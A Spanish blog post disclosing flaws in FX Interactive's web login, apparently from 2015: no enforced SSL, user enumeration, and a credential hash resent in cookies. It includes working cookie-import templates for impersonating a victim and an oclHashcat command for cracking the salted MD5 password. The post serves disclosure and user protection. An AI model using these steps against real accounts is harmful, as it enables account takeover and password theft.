lunes, 12 de octubre de 2015

FX interactive. Como NO implementar un protocolo desafío-respuesta de autenticación.

Introducción

En entradas anteriores se ha descrito de una manera muy básica la plataforma digital de FX Interactive, centrándonos en la manera de salvaguardar los contenidos descargables que tengamos adquiridos por si en un futuro, y dado los rumores acerca de las dificultades económicas de la compañía, éstos se confirman y la compañía deja de operar dejando a sus clientes sin sus preciados juegos adquiridos en versión digital.


Curioseando en el funcionamiento de la plataforma digital, se localizaron ciertas deficiencias en lo referente a la gestión de la autenticación en la plataforma (que de entrada no obliga al uso de SSL), que permitían a un atacante comprometer con relativa facilidad las credenciales de los usuarios de la plataforma siempre y cuando pudiera interceptar la comunicación.

Mecanismo de autenticación

Vamos al tajo. La plataforma digital de FX Interactive usa como credenciales de acceso la típica combinación de correo electrónico como identificador de usuario y una contraseña.


Ventana de autenticación

A partir de ahí, se despliega el mecanismo de autenticación basado en un protocolo desafío-respuesta. En este tipo de protocolos el servidor genera un desafío que envía al cliente, el cual debe calcular la respuesta correcta mediante una función conocida tanto por servidor como por el cliente. La autenticación se valida si el cliente envía la respuesta correcta al desafío enviado por el servidor. De esta manera se evita la transmisión por el canal de comunicaciones de las contraseñas de acceso.

La forma en la que las credenciales del usuario, que es el secreto conocido tanto por servidor como por el cliente y que no debe transmitirse por el canal de comunicaciones, entran en este tipo de esquemas de autenticación varía de una implementación a otra.

En nuestro caso concreto, el secreto es el hash MD5 de los dos campos de credenciales, tanto correo electrónico como contraseña. En la parte cliente, este hash debe ser calculado por el navegador tras introducir el usuario las credenciales en la ventana de autenticación. En la parte servidor, es posible que este hash sea lo que se almacena evitando así guardar la contraseña en texto claro. La forma en la que se calcula este hash en el lado del cliente aparece en el fichero de javascript login_tools.js, en la función hashPassword:

/////////////////////////////////////////
// Calcula el hash de una contraseña
// password: contraseña
// mail: e-mail del usuario
/////////////////////////////////////////
function hashPassword(password, mail)
{
  //Calculamos la sal a partir del mail
  salt = calcMD5(mail.toLowerCase()).substr(0, 16);
  return calcMD5(password + salt);
}


Traduciendo al cristiano, se calcula el hash MD5 de la dirección de correo electrónico en minúsculas, en forma de cadena hexadecimal en minúsculas. La primera mitad (los 16 primeros caracteres) de este hash MD5 constituirán lo que se denomina una sal criptográfica. El resultado final de la función será el hash MD5 de la cadena formada por concatenación de la contraseña seguida de la sal calculada anteriormente.

El uso de esta sal criptográfica evita que si el secreto es comprometido, el atacante pueda calcular fácilmente la contraseña. Aunque el hash MD5 no es una operación considerada como reversible (al menos actualmente), es susceptible de ataques de fuerza bruta en los que se compara el hash MD5 interceptado con hashes MD5 precalculados en forma de gigantescas tablas, lo que se conocen como tablas rainbow. Estas tablas contienen los hashes calculados para distintos algoritmos de un listado de palabras susceptibles de ser utilizadas como contraseñas, como por ejemplos diccionarios en distintas lenguas. El uso de sales complica, y prácticamente imposibilita, el éxito de ataques basados en tablas precalculadas, obligando al atacante a realizar ataques de fuerza bruta calculando los hashes de cada una de la palabras de su diccionario concatenadas con la sal correspondiente.

El cómo interviene este secreto en el esquema de autenticación de la plataforma queda claro leyendo los comentarios que incluye el código javascript involucrado, en este caso la función replyChallenge del mismo fichero de javascript login_tools.js:

//El desafio es un numero cifrado con el hash del password mediante AES
//La respuesta consiste en el numero+1 cifrado de la misma forma


Previamente el navegador del cliente habrá enviado al servidor en una transacción anterior el identificador del usuario que desea autenticarse. En respuesta a dicha petición, tal y como cuenta el comentario del código, el servidor responde con el desafío que es un número aleatorio que envía el servidor cifrado con el protocolo simétrico AES en modo CBC y con vector de inicialización a cero, usando como clave de cifrado el secreto del usuario que desea autenticarse, que no es otro que el hash de las credenciales del usuario calculado de la manera descrita anteriormente.

El navegador del usuario descifrará el desafío con el hash calculado por la función hashPassword a partir de las credenciales introducidas por el usuario. Al número resultante (si las credenciales introducidas son correctas necesariamente generará un número) sumará uno, y el resultado volverá a cifrarlo con AES usando el mismo hash como clave de cifrado para enviarlo al servidor. En el servidor se descifrará y se comprobará si la respuesta obtenida corresponde al desafío enviado, con lo que se finalizará la validación del usuario.

Deficiencias en la autenticación

Lo anterior es, en teoría, lo que los diseñadores de la plataforma digital de FX Interactive tenían en mente. Pero una cosa es la teoría y otra la implementación práctica que actualmente presenta la plataforma.

SSL. Póntelo, pónselo

Como se ha indicado anteriormente, la plataforma web no obliga a utilizar SSL. En la mayor parte de los servicios de internet que requieren de identificación, el servidor redirige automáticamente los accesos al interfaz de autenticación por HTTP hacia HTTPS, evitando en todo momento la transmisión de datos sensibles sin encriptación.

https://

En este caso esa redirección no se produce, y no es porque el servidor no soporte SSL. Si forzamos el acceso por HTTPS tecleando en el navegador https://juegos.fxinteractive.com el servidor responde correctamente, pero posiblemente nuestro navegador comience a mostrar advertencias ya que el certificado del servidor lleva muchos meses caducado.

Certificado de FX Interactive caducado
La autenticación a cualquier servicio usando cifrado SSL es hoy en día una necesidad debido a la gran cantidad de dispositivos móviles y portátiles conectados mediante redes inalámbricas públicas y por tanto inseguras y susceptibles de ser monitorizadas. Redirigir los accesos HTTP a HTTPS y adquirir un certificado renovado no supone un esfuerzo apreciable en relación a todas las ventajas que aporta a la hora de proteger las credenciales de los usuarios.

Protocolo de autenticación

En el siguiente ejemplo se van a utilizar unas credenciales de una cuenta existente (mail="test@softbreakers.com" y pass="password"), y  cuyo hash calculado de la manera anteriormente descrita da el valor de nuestro secreto. Hay disponible calculadoras de MD5 online como ésta.

md5(pass + md5(mail).substr(0, 16)) = "7d3d0b8a4f04f89f7f68b7134909b123"

Cálculo del hash de las credenciales
A continuación se describe el diálogo de autenticación con la plataforma (por acortar, se omiten algunas cabeceras HTTP).

1. login_get_challenge.php

El cliente envía una transacción POST pasando como parámetro el correo del usuario en texto en claro con el que se intenta autenticar.

POST /fx/application/ajax/login_get_challenge.php HTTP/1.1
Host: juegos.fxinteractive.com
[...]
mail=test%40softbreakers.com


En caso de que dicho correo se encuentre registrado en la plataforma ,el servidor responde con un JSON que incluye el desafío cifrado con AES. Además se establece la cookie para identificar la sesión PHPSESSID.

({
"Challenge":"6d50729aad86f75410e8b0ec0f0a2d77",
"_resultStr":"WU_OK",
"_permit":true,
"_resultMsg":"Operacion completada correctamente"
})


En caso contrario, el JSON de respuesta informa del error.

({
"_resultStr":"WC_ERROR_NOUSER",
"_permit":true,
"_resultMsg":"El usuario referenciado no existe"
})


En nuestro caso, para el desafío cifrado del ejemplo, el valor descifrado usando el secreto calculado anteriormente quedaría así. En las imágenes de ejemplo he usado este cifrador online.

Desafío cifrado = "6d50729aad86f75410e8b0ec0f0a2d77"
Desafío descifrado = AES-CBC(Desafío cifrado, Secreto) = "464557077"


Descifrando el desafío

2. wu2_login.php

El cliente envía una transacción GET con los siguientes parámetros.

GET /fx/application/wu2_login.php?
email=7465737440736f6674627265616b6572732e636f6d&
challenge=3664353037323961616438366637353431306538623065633066306132643737&
hash_passw=3764336430623861346630346638396637663638623731333439303962313233 HTTP/1.1
Host: juegos.fxinteractive.com
Cookie: PHPSESSID=1bd1ur1l9841m2apoobi55ncu3


El contenido de los parámetros es el siguiente (un conversor online de ASCII aquí) :
  • "email". Contiene la dirección de correo del usuario a autenticar, codificado en ASCII hexadecimal.
  • "challenge". El desafío recibido en la transacción anterior codificado en ASCII hexadecimal.
  • "hash_passw". Nuestro secreto codificado en ASCII hexadecimal !!!
En respuesta el servidor devuelve una página HTML que se limita a ejecutar una función en javascript en el que se han incrustado los valores necesarios para que el navegador del cliente pueda calcular la respuesta al desafío, redireccionando a la transacción para responder el desafío con los parámetros calculados:

function() {
  var challenge = "error";
  var reply_challenge = "error";
  SetCookie("user_email","test@softbreakers.com");
  SetCookie("user_hash_passw","7d3d0b8a4f04f89f7f68b7134909b123");
  challenge = "6d50729aad86f75410e8b0ec0f0a2d77";
  reply_challenge=replyChallenge(challenge,GetCookie("user_hash_passw"));
  if (reply_challenge=="")
    reply_challenge = "error";
  window.location =
    "http://juegos.fxinteractive.com/fx//application/reply_challenge.php?" +
    "&challenge=" + bin2hex(challenge) +
    "&reply_challenge=" + bin2hex(reply_challenge) +
    "&user_hash_passw=" + bin2hex(GetCookie("user_hash_passw"));
});


3. replay_challenge.php

Es la transacción final del proceso de autenticación en el que el cliente contesta al servidor con la respuesta que ha calculado a su desafío.

GET /fx//application/reply_challenge.php?
&challenge=3664353037323961616438366637353431306538623065633066306132643737
&reply_challenge=3935346166623438306137373430663137663665343235356338376632393134
&user_hash_passw=3764336430623861346630346638396637663638623731333439303962313233 HTTP/1.1
Host: juegos.fxinteractive.com
Cookie:
PHPSESSID=1bd1ur1l9841m2apoobi55ncu3;
user_email=test@softbreakers.com;
user_hash_passw=7d3d0b8a4f04f89f7f68b7134909b123


Los parámetros son los mismos de la transacción anterior a excepción del correo electrónico (en este caso "hash_passw" se ha renombrado como "user_hash_passw") junto con la respuesta al desafío en el parámetro "reply_challenge" codificado en ASCII hexadecimal.
A partir de esta transacción, todas las transacciones posteriores incluyen en las cookies la dirección de correo del usuario y el secreto.
Usando una calculadora de MD5, de ASCII y de AES podemos echar nosotros mismos las cuentas para comprobar que hemos interpretado correctamente el modelo de autenticación utilizado.

Secreto = "7d3d0b8a4f04f89f7f68b7134909b123"
Desafío cifrado = "6d50729aad86f75410e8b0ec0f0a2d77"
Desafío descifrado = AES-CBC(Desafío cifrado, Secreto) = "464557077"
Respuesta = Desafío + 1 = "464557078"
Respuesta ASCII = "343634353537303738"


Calculando ASCII hexadecimal de respuesta

Respuesta cifrada = AES-CBC(Respuesta, Secreto) = "954afb480a7740f17f6e4255c87f2914"

Cifrando respuesta

Respuesta cifrada hex. = "3935346166623438306137373430663137663665343235356338376632393134"

Calculando respuesta cifrada en ASCII hexadecimal

Si la respuesta al desafío ha sido la correcta, el servidor nos envía en respuesta el siguiente JSON embebido en el cuerpo de un HTML vacío:

({
"challenge": "6d50729aad86f75410e8b0ec0f0a2d77",
"reply_challenge": "954afb480a7740f17f6e4255c87f2914",
"user_hash_passw": "7d3d0b8a4f04f89f7f68b7134909b123"
})


En caso de no haber superado el desafío de autenticación la respuesta tendría la forma:

({
"challenge": "6d50729aad86f75410e8b0ec0f0a2d77",
"reply_challenge": "error",
"user_hash_passw": "7d3d0b8a4f04f89f7f68b7134909b123"
})


4. login.php

En caso de haber superado el desafío, el cliente realiza finalmente la autenticación con la siguiente transacción.

POST /fx/application/ajax/login.php HTTP/1.1
Host: juegos.fxinteractive.com
Cookie:
user_email=test@softbreakers.com;
user_hash_passw=7d3d0b8a4f04f89f7f68b7134909b123;
PHPSESSID=1bd1ur1l9841m2apoobi55ncu3;
[...]
mail=test%40softbreakers.com&
hash=954afb480a7740f17f6e4255c87f2914&
navy=false


El parámetro hash lleva la misma respuesta al desafío que se validó en la transacción anterior.
En respuesta el servidor devuelve un JSON con datos sobre el usuario ya autenticado.

({
"_resultStr":"WU_OK",
"UserId":1570095,
"CountryBirth":"OTR",
"_permit":true,
"Connected":-1,
"UserMail":"test@softbreakers.com",
"Alias":"test533",
"Country":"OTR",
"Language":"ES",
"_resultMsg":"Operacion completada correctamente",
"bug_key":"1bd3b9331183ca65e8465c8d70d0732f"
})


Revisión del protocolo de autenticación

Tras estudiar el protocolo de autenticación utilizado en la plataforma, unas reflexiones...

No des pistas sobre tus usuarios.

El primer "pero" del protoclo implementado salta en la primera transacción. Como se ha expuesto, si en la transacción "login_get_challenge.php" se envía el correo de un usuario dado de alta en la plataforma, el servidor responde con un JSON que incluye el desafío que debe superarse para lograr la autenticación. Pero si se envía un correo de un usuario que no está dado de alta, el JSON de respuesta incluye el correspondiente mensaje de error.

Esto permitiría lanzar de una manera automatizada contra el servidor un listado de correos electrónicos y dilucidar qué usuarios están dados de alta en la plataforma digital. Para aquellos usuarios validados como presentes en la plataforma el atacante ya tendría la mitad de las credenciales...

Lo ideal es que el servidor devuelva exactamente la misma respuesta independientemente de que el identificador del usuario (como es el correo electrónico en este caso) exista o no. Como ejemplo, la web del banco ING Direct no da pistas sobre sus clientes. Se puede introducir un DNI válido (como "11111111H") con cualquier fecha de nacimiento, que independientemente de que la pareja de datos corresponda a un cliente real o no, el servidor va a pasar a la siguiente fase de validación, impidiendo de esta manera a un atacante lanzar un ataque "ciego" para que el servidor valide cuales son los usuarios que reconoce y cuales no.

El secreto, secreto es...

El objetivo de los protocolos de autenticación basados en desafío-respuesta es realizar la autenticación sin enviar las credenciales a través del canal de comunicación. Si en la implementación del protocolo desafío-respuesta se envían las credenciales, o una derivación de las mismas siguiendo una determinada función, incluso aunque la función no sea reversible (como en este caso, el algoritmo MD5 usado en la función de derivación), entonces se ha implementado mal el protocolo.

A todas luces, no tiene sentido desplegar el mecanismo de desafío-respuesta cuando ya desde la segunda transacción "wu_login2.php" el cliente envía al servidor el secreto basado en las credenciales del usuario. Siendo así, lo más lógico es simplificar el protocolo y dejar que el servidor compare directamente el secreto enviado con el que el servidor tenga, ya sea almacenado en su base de datos sustituyendo a las credenciales en claro del usuario, o bien calculado en tiempo real si el servidor almacena en claro las credenciales (cosa que tampoco sería aconsejable). Si dicha comparación es positiva, se considera autenticado al cliente y nos dejamos de rodeos sin sentido...

Para más inri, desde la transacción de respuesta al desafío "reply_challenge.php" tanto el identificador del usuario (su correo electrónico) como el secreto, se envían del cliente al servidor como cookie. Esto posibilita que un atacante que empiece a monitorizar la red de comunicación, aunque se haya perdido el protocolo de autenticación, pueda comprometer las credenciales de usuarios ya autenticados anteriormente con tan solo interceptar cualquier transacción posterior que el cliente envíe al servidor.

Explotación

Suponiendo que un atacante acceda al correo y el secreto de algún usuario, la explotación a la hora de impersonar a dicho usuario ante la plataforma, es bien sencilla. No tiene más que importar las cookies y acceder a la plataforma, para lograr que ésta automáticamente lo considere autenticado. No hace falta intentar extraer la contraseña del usuario.

Esto es así ya que la página en su código javascript dispone de una funcionalidad para realizar la autenticación de forma automática. Esta funcionalidad permite que no tengamos que introducir nuestras credenciales continuamente cada vez que accedemos a la plataforma digital. Dicho código se encuentra entre los scripts inline en el código HTML de la página principal de la plataforma:

// Login automatico con cookies
if (GetCookie("user_email")!="" && GetCookie("user_pass_known")=="true") {
  if (GetCookie("index")!="") {
    FXPlanet.Login(GetCookie("user_email"),"","",true,
      function(xml)
      {
[...]


El código de la función "FXPlanet.Login" se encuentra en wu2.js.php (línea 2626). La declaración de dicha función es como sigue:

FXPlanet.Login = function(email,user_id,user_hash,user_hold_logged,cb_ok,cb_ko)
{
  user_hash_passw = user_hash;
  var arrParams;
  FXPlanet.doing_login = true;
  $("#js_loading").show();
  FXPlanet.AjaxCallEx("ajax/login_get_challenge.php", { mail: email }, function(reply) {
    if (reply._resultStr!="WU_OK") {
      FXPlanet.doing_login = false;
      FXPlanet.Event.trigger("login_ko",reply);
      if (typeof cb_ko==='function') cb_ko(reply);
        return;
    }
    login_url = "http://juegos.fxinteractive.com/fx/application/wu2_login.php?"+
      "email="+bin2hex(email)+
      "&challenge="+bin2hex(reply.Challenge);
    if (user_hash_passw!="")
      login_url += "&hash_passw="+bin2hex(user_hash_passw);


Los parámetros "cb_ok" y "cb_ko" son funciones javascript a ejecutar en caso de que la autenticación se realice correctamente ("cb_ok") o no ("cb_ko"). Esta función, al ser llamada desde el script inline anterior lanzará todo el mecanismo de autenticación siguiendo el protocolo desafío-respuesta descrito. Al llegar a la transacción "wu2_login.php" descrita anteriormente, en este caso no se usa el parámetro "hash_passw" que contenía el secreto, ya que el parámetro correspondiente se le pasa a la función FXPlanet.Login vacío.

Al lanzar "wu2_login.php" sin dicho parámetro, la respuesta del servidor difiere ligeramente de la anterior. El script que incluye la respuesta a esa transacción queda así:

function() {
  var challenge = "error";
  var reply_challenge = "error";
  SetCookie("user_email","test@softbreakers.com");
  challenge = "ea3e3c03ad4a2d1f04e007577359b1d0";
  reply_challenge=replyChallenge(challenge,GetCookie("user_hash_passw"));
  if (reply_challenge=="")
    reply_challenge = "error";
  window.location = "http://juegos.fxinteractive.com/fx//application/reply_challenge.php?&challenge=" +

   bin2hex(challenge) +
   "&reply_challenge=" +
   bin2hex(reply_challenge) +
   "&user_hash_passw=" +
   bin2hex(GetCookie("user_hash_passw"));
});


La diferencia es que no se establece el valor de la cookie "user_hash_passw" con el valor que se pasa en el parámetro "hash_passw", que en este caso va vacío, sino que se usa el valor que actualmente tiene dicha cookie.

Por ello necesitaremos la cookie "user_hash_passw" con el valor del secreto correctamente establecido, además de las cookies necesarias para disparar la funcionalidad de autenticación automática implementada en el script inline de la página principal. Revisando el script inline, necesitaremos estas cuatro cookies:
  • "user_email" con la dirección de correo del usuario a autenticar.
  • "user_pass_known" con el valor "true".
  • "index" con un valor distinto de vacío.
  • "user_hash_passw" con el valor del secreto del usuario a autenticar.
La importación puede realizarse de varias maneras, dependiendo del navegador utilizado. En caso de Firefox se puede utilizar una extensión como "Cookies Export/import" o bien el editor manual de cookies del más completo Firebug. En Chrome podemos encontrar extensiones para manipular cookies como "EditThisCookie".

En las plantillas presentadas a continuación hay tres valores entre corchetes que deben ser sustituídos:
  • [EXP] representa la fecha de caducidad de la cookie expresado en formato timestamp en segundos, y debe sustituirse por una fecha posterior a la que se desee hacer la prueba. Calculadoras de timestamp por ejemplo aquí.
  • [EMAIL]. Dirección de correo del usuario a autenticar. En nuestro caso test@softbreakers.com
  • [SECRETO]. Secreto derivado de las credenciales. En nuestro caso 7d3d0b8a4f04f89f7f68b7134909b123
El formato Netscape es el más extendido a la hora de volcar a texto las cookies de una transacción. En dicho formato (admitido por la extensión "Cookies Export/import" de Firefox) queda así.

juegos.fxinteractive.com FALSE / FALSE [EXP] user_email [EMAIL]
juegos.fxinteractive.com FALSE / FALSE [EXP] user_hash_passw [SECRETO]
juegos.fxinteractive.com FALSE / FALSE [EXP] user_pass_known true
juegos.fxinteractive.com FALSE / FALSE [EXP] index loquequieras


Otras extensiones, como "EditThisCookie" de Chrome, admiten otros formatos como JSON:

[{
"domain": "juegos.fxinteractive.com",
"expirationDate": [EXP],
"hostOnly": true,
"httpOnly": false,
"name": "user_email",
"path": "/",
"secure": false,
"session": false,
"storeId": "0",
"value": "[EMAIL]",
"id": 1},
{
"domain": "juegos.fxinteractive.com",
"expirationDate": [EXP],
"hostOnly": true,
"httpOnly": false,
"name": "user_hash_passw",
"path": "/",
"secure": false,
"session": false,
"storeId": "0",
"value": "[SECRETO]",
"id": 2},
{
"domain": "juegos.fxinteractive.com",
"expirationDate": [EXP],
"hostOnly": true,
"httpOnly": false,
"name": "user_pass_known",
"path": "/",
"secure": false,
"session": false,
"storeId": "0",
"value": "true",
"id": 3},
{
"domain": "juegos.fxinteractive.com",
"expirationDate": [EXP],
"hostOnly": true,
"httpOnly": false,
"name": "index",
"path": "/",
"secure": false,
"session": false,
"storeId": "0",
"value": "loquequieras",
"id": 3}]


El siguiente video muestra la facilidad de captura de los datos necesarios suponiendo que podemos monitorizar la misma red de la víctima y que ésta realiza la conexión por HTTP sin encriptación (captura utilizando Wireshark), y como el atacante tras introducir las cuatro cookies con valores adecuados (utilizando la extensión Firebug del navegador Firefox), se autentica en la plataforma suplantando a la víctima.



Dadas las características del servicio que ofrece esta plataforma, el que un atacante pueda acceder suplantando a terceros tampoco puede causar un gran perjuicio. El atacante podrá acceder e instalar los juegos adquiridos por la víctima, que por las condiciones de la plataforma dicha instalación está permitida de manera simultánea en hasta cinco equipos distintos, con lo que se puede limitar el acceso a los mismos por parte del usuario legítimo. Por otro lado, la víctima puede acumular puntos en su cuenta que pueden canjearse por juegos ofertados en la plataforma digital. El atacante podría gastar estos puntos del usuario en adquirir en su nombre e instalarse artículos, con el consiguiente perjuicio para el usuario legítimo que seguramente no estaría interesado en gastar su saldo de puntos en esos artículos.

No existen problemas más graves como vulneración de datos privados del usuario, suplantación del usuario frente a otros, acceso a mensajes privados, etc... y esto es así salvo que el usuario cuyas credenciales se han comprometido en la plataforma de FX Interactive haya reutilizado la misma pareja de email-contraseña en otros servicios. Por ejemplo, imaginemos en nuestro ejemplo que el usuario "test@softbreakers.com" y que en la plataforma de FX Interactive usa como contraseña el palabro "password", usa la misma contraseña para acceder a los mensajes electrónicos de su cuenta de correo, o para su cuenta de Facebook, etc. En ese caso el asunto puede acabar muy mal.



Extracción de contraseña en claro

Aunque para impersonar al usuario en el servidor de FX Interactive no se precisa conocer la contraseña que ha utilizado, para verificar si esa contraseña (que de alguna manera va incluída en lo que hemos llamado secreto) es reutilizada en otro servicio distinto, antes tenemos que extraer dicha constraseña.

Como se indicó antes nuestro secreto se calcula como:

secreto = md5([contraseña] + md5([email]).substr(0, 16))

El algoritmo de hash MD5 tal y como se ha expuesto anteriormente no es reversible, por lo que aunque conozcamos las variables "secreto" y "email", en la ecuación anterior no podemos calcular la variable "contraseña". Al no ser una operación reversible, la vía para extraer la constraseña consiste en realizar suposiciones sobre el valor de la contraseña y ver si la operación anterior genera el mismo valor secreto que hemos interceptado. Gracias a la presencia de una sal criptográfica (los primeros 16 caracteres del hash MD5 de la dirección de correo) que imposibilita el uso de tablas rainbow, las posibilidades de extraer la contraseña en claro dependen de tres factores:
  • La potencia de cálculo para calcular hashes MD5 de la que pueda disponer el atacante.
  • El tiempo que el atacante quiera o pueda dedicar dicha potencia de cálculo a extraer la contraseña.
  • La fortaleza de la contraseña empleada por el usuario.
De esos tres factores, el único que pueden controlar los usuarios es la fortaleza de la contraseña que seleccionen. Cada servicio de autenticación puede a su vez plantear limitaciones sobre la contraseña (número máximo de caracteres, caracteres admitidos, etc...) que pudieran limitar la fortaleza de la contraseña, pero normalmente estas limitaciones no implican que necesariamente solo se puedan utilizar contraseñas débiles.

Lo primero que el atacante de fuerza bruta intentará delimitar es el universo de contraseñas que debe contemplar. Inicialmente la página de la plataforma comprueba la validez de una presunta contraseña tanto al intentar acceder como al crear una nueva cuenta con la siguiente función javascript definida en el propio HTML de la página principal:

// comprueba si el password tiene formato correcto
function IsPasswordOk(passw) {
  return passw.length>4;
}


Por tanto, un atacante inicialmente "solo" tendría que comprobar contraseñas de 5 o más caractéres... Si al crear una cuenta introducimos una contraseña de menor longitud, nos aparece el error de que la contraseña desde tener entre 5 y 15 caracteres, aunque esa no es la comprobación que realiza la función "IsPasswordOk".

if (!IsPasswordOk($("#input_pass_1").val())){
  $("#erorr_crear_texto").html("La contraseña no es válida. Debe tener entre 5 y 15 caracteres.<br/ >Por favor, revísala e inténtalo de nuevo.");
  $("#errores_crear").css({'visibility': 'visible'});
} else {


Puesto que no se realizan localmente otras comprobaciones, habría que comprobar al crear una cuenta si el servidor permite crear contraseñas de más de 15 caracteres, además de verificar si admite todo tipo de carácter o si hay algunas excepciones. Esto permitiría definir con cuántos caracteres debe jugar el generador de posibles contraseñas a verificar y qué tipo de caracteres debe contemplar.
Para nuestro ejemplo práctico usaremos un simple diccionario de palabras, por lo que no vamos a ponernos generar miles y miles de cadenas aleatorias para probar si alguna de ellas en conjunción con la dirección de correo electrónico genera el secreto objetivo. La aplicación recorrerá el diccionario probando a calcular si alguna de esas palabras da resultado positivo, y si finaliza el diccionario sin encontrar coincidencia considerará el ataque fracasado. Como la contraseña de ejemplo, la palabra "password" se encontrará en nuestro diccionario no tendremos problema...

Como jugones que somos, tendremos alguna tarjeta gráfica dedicada (o más de una), con lo que usaremos una aplicación que usa la potencia de cálculo de las tarjetas gráficas, aumentado la potencia de cálculo respecto a usar directamente el procesador. Esta aplicación es oclHashcat.

Logo oclHashcat
La aplicación es en línea de comandos y se sirve en dos sabores. Uno para gráficas Nvidia y otro para AMD. Una vez descargada la versión correspondiente, descomprimimos. La aplicación vienen en forma de ejecutable de 32 bits y otro de 64 bits, e incluye un pequeño diccionario de ejemplo que para nuestra sencilla contraseña es suficiente ya que contiene la palabra "password". Hay que preparar el fichero de entrada a la aplicación. Este fichero de entrada depende del tipo de hash que queramos calcular.

Los tipos de cálculo que soporta la aplicación se listan aquí.
0 = MD5
10 = md5($pass.$salt)
20 = md5($salt.$pass)
30 = md5(unicode($pass).$salt)
40 = md5($salt.unicode($pass))
50 = HMAC-MD5 (key = $pass)
[...]


En nuestro caso, corresponde al modo 10 ya que nuestro secreto es el hash MD5 de la contraseña que queremos adivinar seguido de una sal criptográfica. Nuestra sal son los primeros 16 caracteres del hash MD5 del correo electrónico, que en este caso es "test@softbreakers.com", y como vimos anteriormente nos da el valor "6500cbeaca8426b5".

Los formatos del fichero de entrada dependiendo del tipo de cálculo se lista aquí.  Para el modo 10, el formato es "hash:sal". El "hash" es lo que hemos denominado secreto. Nos creamos un fichero en el mismo directorio donde hemos descomprimido oclHashcat. Introducimos el siguiente contenido y salvamos el fichero con el nombre "hash.txt":

7d3d0b8a4f04f89f7f68b7134909b123:6500cbeaca8426b5

Si tuviéramos varios usuarios y contraseñas que extraer, colocaríamos uno en cada línea. El comando a ejecutar sería:

cudaHashcat64.exe -m 10 -a 0 hash.txt example.dict

El programa nos da la siguiente salida:

Ejecutando oclHashcat
El programa ha recorrido el diccionario "example.dict" hasta encontrar una palabra a la que al concatenarle la sal que hemos definido y calcular el hash MD5 de la cadena resultante, se obtiene el hash deseado, el secreto que el atacante había interceptado. En este caso la palabra es "password", como era de esperar.

Conforme va encontrando positivos los va incluyendo en el fichero "cudaHashcat.pot", salvo que indiquemos otro fichero de salida. Al final de la ejecución, oclHashcat muestra una estadística de los resultados obtenidos.

Ahora, con la contraseña en claro, el atacante puede explorar otros servicios para ver si la pareja "test@softbreakers.com" / "password" ha sido reutilizada por ese usuario en otros temas... y ahí es donde pueden empezar los problemas más serios para ese usuario.

Conclusiones

El envío de información sensible, como la que se realiza durante la autenticación de un usuario en cualquier servicio online debería enviarse cifrada, y actualmente el estándar de cifrado en la web es SSL. Si tenemos en cuenta la gran cantidad de accesos que se realizan desde dispositivos móviles sobre redes inalámbricas, y dada la posible exposición de las distintas redes inalámbricas a las que un dispositivo móvil puede conectarse, sobre todo aquellos dispositivos que nos acompañan en el bolso o bolsillo todo el día, el cifrado de los accesos para ser una mejora del servicio a los usuarios a ser una imperiosa necesidad.

SSL está hoy en día implementado en la mayor parte de los dispositivos susceptibles de ser utilizados a la WWW. Aún suponiendo el extraño caso de que se quiera dar soporte a algún tipo de dispositivo que no soporte SSL, los protocolos desafío-respuesta son una solución que permiten realizar la autenticación sin necesidad de enviar información sensible que permita robar la "identidad" al usuario, aunque la información posterior que se intercambia no sea cifrada, y por tanto visible para un posible atacante.

El hecho de que la implementación de FX Interactive en su plataforma envíe información sensible junto con la respuesta al desafío de autenticación es un error que puede comprometer las credenciales del usuario. Pero el que dicha información sensible se incluya como cookie y se reenvíe en todas y cada una de las transacciones posteriores que el navegador del usuario envía al servidor de FX Interactive presenta un peligro aún mayor, ya que permite a un atacante poder robar las credenciales del usuario aunque no haya accedido a las transacciones de autenticación propiamente dichas.

Esa cookie puede capturarse tal y como como se muestra en el video, monitorizando transacciones HTTP en caso de tener acceso a la red del usuario (por ejemplo con un ataque MITM), o incluso sin necesidad de acceder a la red del usuario en caso de que la web de FX Interactive tuviese (que no digo que la tenga) alguna vulnerabilidad XSS (permanente o no) que permitiera inyectar javascript para poder hacerse con dicha cookie. No estamos hablando del típico caso de captura de la sesión de un usuario ya autenticado, en el que dispones de unos minutos u horas para intentar sacarle partido antes de que la sesión capturada caduque, sino del hash de las credenciales que te permitirán realizar nuevas autenticaciones en cualquier momento siempre y cuando el usuario no cambie la contraseña... y además con el añadido de poder intentar extraer la contraseña en claro y que ésta haya sido reutilizada por el usuario en otro servicio online.

Mientras el tema se arregla, en caso de que la empresa juzgue necesario arreglar algo (se ha intentado contactar por la dirección de correo de atención al cliente en dos ocasiones, pero sin ninguna respuesta), nosotros como usuarios y clientes podemos intentar defender nuestras credenciales accediendo a la plataforma escribiendo HTTPS en lugar de HTTP, y aceptando el certificado caducado que ahora mismo presenta el servidor (intentamos evitar que un supuesto atacante que monitorice nuestra red pueda capturar la cookie con el hash de nuestra contraseña), y revisar con cuidado los enlaces que recibamos de terceros que nos llevan a la web de FX Interactive antes de hacer click (para evitar un hipotético ataque XSS para capturar dicha cookie). Y por supuesto no compartir la contraseña utilizada con la de otros servicios, por si acaso...

No hay comentarios:

Publicar un comentario